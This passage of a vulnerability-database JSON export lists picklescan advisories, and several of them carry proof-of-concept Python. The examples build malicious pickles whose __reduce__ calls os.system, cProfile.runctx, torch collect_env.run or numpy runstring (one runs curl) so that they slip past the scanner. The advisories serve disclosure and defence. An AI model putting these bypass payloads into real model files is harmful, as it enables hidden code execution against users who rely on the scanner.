            "summary": "Picklescan missing detection when calling pytorch function torch.utils.data.datapipes.utils.decoder.basichandlers\n### Summary\n\nUsing torch.utils.data.datapipes.utils.decoder.basichandlers function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to torch.utils.data.datapipes.utils.decoder.basichandlers function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nimport torch.utils.data.datapipes.utils.decoder as decoder\n\nclass EvilTorchUtilsDataDatapipesDecoder:\n    def __reduce__(self):\n        extension = 'pickle'\n        class RCE:\n            def __reduce__(self):\n                return os.system, ('whoami',)\n        data = pickle.dumps(RCE())\n        return decoder.basichandlers, (extension, data)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/pull/47",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/pull/47"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-h3qp-7fh3-f8h4",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-h3qp-7fh3-f8h4"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-h3qp-7fh3-f8h4",
                    "reference_id": "GHSA-h3qp-7fh3-f8h4",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-h3qp-7fh3-f8h4"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89080?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.28",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-357d-3wwy-aubk"
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                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-4nda-nuz6-gqgm"
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                        {
                            "vulnerability": "VCID-555e-6p5m-xbbc"
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                        {
                            "vulnerability": "VCID-6723-ghp7-yqd1"
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                        {
                            "vulnerability": "VCID-6pqf-4qcr-ckac"
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                        {
                            "vulnerability": "VCID-6smr-kf6r-53gc"
                        },
                        {
                            "vulnerability": "VCID-7dgj-c6cm-v3bt"
                        },
                        {
                            "vulnerability": "VCID-7jv5-uxzs-cucb"
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                        {
                            "vulnerability": "VCID-83zm-7pnx-gkag"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
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                        {
                            "vulnerability": "VCID-b4zf-mwfc-53bm"
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                        {
                            "vulnerability": "VCID-b8nm-k5xu-yfc8"
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                        {
                            "vulnerability": "VCID-bepy-gm8w-83e5"
                        },
                        {
                            "vulnerability": "VCID-brvs-drts-rbay"
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                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
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                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
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                        {
                            "vulnerability": "VCID-d1k5-6npz-2kcg"
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                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fbng-xtyv-zqdf"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
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                        {
                            "vulnerability": "VCID-fsjg-pn1f-fqd6"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-hm3p-7t8t-bfb7"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-kne4-tcp8-m3c3"
                        },
                        {
                            "vulnerability": "VCID-n3yg-3gcp-nyc1"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-v5yc-uwn3-akbc"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        },
                        {
                            "vulnerability": "VCID-zxc5-cgwk-qbcn"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.28"
                }
            ],
            "aliases": [
                "GHSA-h3qp-7fh3-f8h4"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-cupp-7ca3-wfa6"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/212708?format=api",
            "vulnerability_id": "VCID-czzc-g8zx-1kbq",
            "summary": "PickleScan has multiple stdlib modules with direct RCE not in blocklist",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "9.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-g38g-8gr9-h9xp",
                    "reference_id": "GHSA-g38g-8gr9-h9xp",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "CRITICAL",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-g38g-8gr9-h9xp"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-g38g-8gr9-h9xp",
                    "reference_id": "GHSA-g38g-8gr9-h9xp",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "9.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-g38g-8gr9-h9xp"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/40119?format=api",
                    "purl": "pkg:pypi/picklescan@1.0.4",
                    "is_vulnerable": false,
                    "affected_by_vulnerabilities": [],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@1.0.4"
                }
            ],
            "aliases": [
                "GHSA-g38g-8gr9-h9xp"
            ],
            "risk_score": 4.5,
            "exploitability": "0.5",
            "weighted_severity": "9.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-czzc-g8zx-1kbq"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360663?format=api",
            "vulnerability_id": "VCID-d1k5-6npz-2kcg",
            "summary": "Picklescan is missing detection when calling built-in python cProfile.runctx\n### Summary\n\nUsing cProfile.runctx function, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to cProfile.runctx function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nimport cProfile\n\nclass EvilCProfileRunctx:\n    def __reduce__(self):\n        # cProfile.runctx(cmd, globals, locals) -> exec(cmd, ...)\n        return cProfile.runctx, (\"__import__('os').system('whoami')\", None, None)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9w88-8rmg-7g2p",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9w88-8rmg-7g2p"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-9w88-8rmg-7g2p",
                    "reference_id": "GHSA-9w88-8rmg-7g2p",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-9w88-8rmg-7g2p"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89082?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.30",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.30"
                }
            ],
            "aliases": [
                "GHSA-9w88-8rmg-7g2p"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-d1k5-6npz-2kcg"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360488?format=api",
            "vulnerability_id": "VCID-d4vv-a8kx-5kdc",
            "summary": "Picklescan failed to detect to some unsafe global function in Numpy library\n### Summary\nAn unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited by import some built-in function in Numpy library that indrectly call some dangerous function like exec() to execute some python code as a parameter, which the attacker can import dangerous library inside like os library and execute arbitrary OS commands.\n### Details\nPickle’s deserialization process is known to allow execution of function via **reduce** method. While Picklescan is meant to detect such exploits, this attack evades detection by calling function in Numpy library that call dangerous function like exec(). And since Numpy library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.\n\nThe attack payload executes in the following steps:\n- First, the attacker craft the payload by import **runstring** function in **numpy.testing._private.utils**\n- Then, inside **reduce** method, the attacker import dangerous libarary like os and calling os.system() to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim.\n- Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n```\nimport pickle\nimport torch\nimport pickle\nfrom picklescan.scanner import scan_file_path\nclass Payload:\n  def __reduce__(self):\n    from numpy.testing._private.utils import runstring\n    return runstring, (\"import os; os.system('curl https://example.com')\",{})\n    \ndef create_payload():\n  with open('payload.pickle', 'wb') as f:\n    pickle.dump(Payload(), f)\n\ndef load_payload():\n  result = scan_file_path('payload.pickle')\n  if result.infected_files != 0 or result.scan_err:\n    print('File is infected')\n  else:\n    print('File is clean')\n    with open('payload.pickle', 'rb') as f:\n      pickle.load(f)\n\ncreate_payload() \nload_payload()\n\n```\n\n### Impact\nSeverity: High\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. For example, Invoke-AI repository (https://github.com/invoke-ai/InvokeAI)\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Recommended Fixes:\n\nI suggest adding Numpy library to the unsafe globals blacklist.",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-fj43-3qmq-673f",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-fj43-3qmq-673f"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-fj43-3qmq-673f",
                    "reference_id": "GHSA-fj43-3qmq-673f",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-fj43-3qmq-673f"
                }
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                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.25"
                }
            ],
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                "GHSA-fj43-3qmq-673f"
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            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-d4vv-a8kx-5kdc"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360637?format=api",
            "vulnerability_id": "VCID-dsy5-2z6e-jqds",
            "summary": "Picklescan missing detection when calling pytorch function torch.utils.collect_env.run\n### Summary\n\nUsing torch.utils.collect_env.run function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to torch.utils.collect_env.run function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nimport torch.utils.collect_env as collect_env\n\nclass EvilTorchUtilsCollectEnvRun:\n    def __reduce__(self):\n        command = 'touch /tmp/collect_env_run_success'\n        return collect_env.run, (command,)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
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                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
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                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
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                },
                {
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                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
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                            "scoring_system": "generic_textual",
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                    "url": "https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53"
                },
                {
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                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
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                            "scoring_elements": ""
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                    "url": "https://github.com/mmaitre314/picklescan/pull/47"
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                    "reference_id": "",
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                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
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                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
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                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
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                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-f745-w6jp-hpxx"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-f745-w6jp-hpxx",
                    "reference_id": "GHSA-f745-w6jp-hpxx",
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                    "scores": [
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                }
            ],
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                    "purl": "pkg:pypi/picklescan@0.0.28",
                    "is_vulnerable": true,
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                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.28"
                }
            ],
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            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-dsy5-2z6e-jqds"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/212461?format=api",
            "vulnerability_id": "VCID-e95k-rym7-a7bk",
            "summary": "Picklescan is vulnerable to RCE through missing detection when calling numpy.f2py.crackfortran._eval_length",
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                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
                        },
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                            "value": "MODERATE",
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                    "url": "https://github.com/mmaitre314/picklescan"
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                    "reference_id": "",
                    "reference_type": "",
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                        },
                        {
                            "value": "MODERATE",
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                            "scoring_elements": ""
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                    "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
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                            "value": "MODERATE",
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                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
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                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
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                    ],
                    "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
                },
                {
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                    "reference_id": "GHSA-6556-fwc2-fg2p",
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                },
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                    "reference_id": "GHSA-6556-fwc2-fg2p",
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                            "scoring_elements": ""
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                            "value": "6.7",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-6556-fwc2-fg2p"
                }
            ],
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                    "purl": "pkg:pypi/picklescan@0.0.33",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
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                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.33"
                }
            ],
            "aliases": [
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            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-e95k-rym7-a7bk"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360720?format=api",
            "vulnerability_id": "VCID-eub2-wr7z-c3e6",
            "summary": "Duplicate Advisory: Zip Flag Bit Exploit Crashes Picklescan But Not PyTorch\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-w8jq-xcqf-f792. This link is maintained to preserve external references.\n\n## Original Description\npicklescan before 0.0.23 fails to detect malicious pickle files inside PyTorch model archives when certain ZIP file flag bits are modified. By flipping specific bits in the ZIP file headers, an attacker can embed malicious pickle files that remain undetected by PickleScan while still being successfully loaded by PyTorch's torch.load(). This can lead to arbitrary code execution when loading a compromised model.",
            "references": [
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1945",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
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                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1945"
                },
                {
                    "reference_url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1945",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1945"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-2fh4-gpch-vqv4",
                    "reference_id": "GHSA-2fh4-gpch-vqv4",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-2fh4-gpch-vqv4"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-w8jq-xcqf-f792",
                    "reference_id": "GHSA-w8jq-xcqf-f792",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-w8jq-xcqf-f792"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/87037?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.23",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-1cce-4mst-r7h4"
                        },
                        {
                            "vulnerability": "VCID-1cft-ke16-8kac"
                        },
                        {
                            "vulnerability": "VCID-357d-3wwy-aubk"
                        },
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-3ykn-199q-u3hf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-4nda-nuz6-gqgm"
                        },
                        {
                            "vulnerability": "VCID-555e-6p5m-xbbc"
                        },
                        {
                            "vulnerability": "VCID-6723-ghp7-yqd1"
                        },
                        {
                            "vulnerability": "VCID-6pqf-4qcr-ckac"
                        },
                        {
                            "vulnerability": "VCID-6smr-kf6r-53gc"
                        },
                        {
                            "vulnerability": "VCID-7dgj-c6cm-v3bt"
                        },
                        {
                            "vulnerability": "VCID-7jv5-uxzs-cucb"
                        },
                        {
                            "vulnerability": "VCID-83zm-7pnx-gkag"
                        },
                        {
                            "vulnerability": "VCID-8bj4-tmz9-gyau"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-av36-fvk2-23be"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-b4zf-mwfc-53bm"
                        },
                        {
                            "vulnerability": "VCID-b8nm-k5xu-yfc8"
                        },
                        {
                            "vulnerability": "VCID-bepy-gm8w-83e5"
                        },
                        {
                            "vulnerability": "VCID-brvs-drts-rbay"
                        },
                        {
                            "vulnerability": "VCID-c3as-vdkf-4fem"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cj2u-dmaj-wbd4"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-cupp-7ca3-wfa6"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-d1k5-6npz-2kcg"
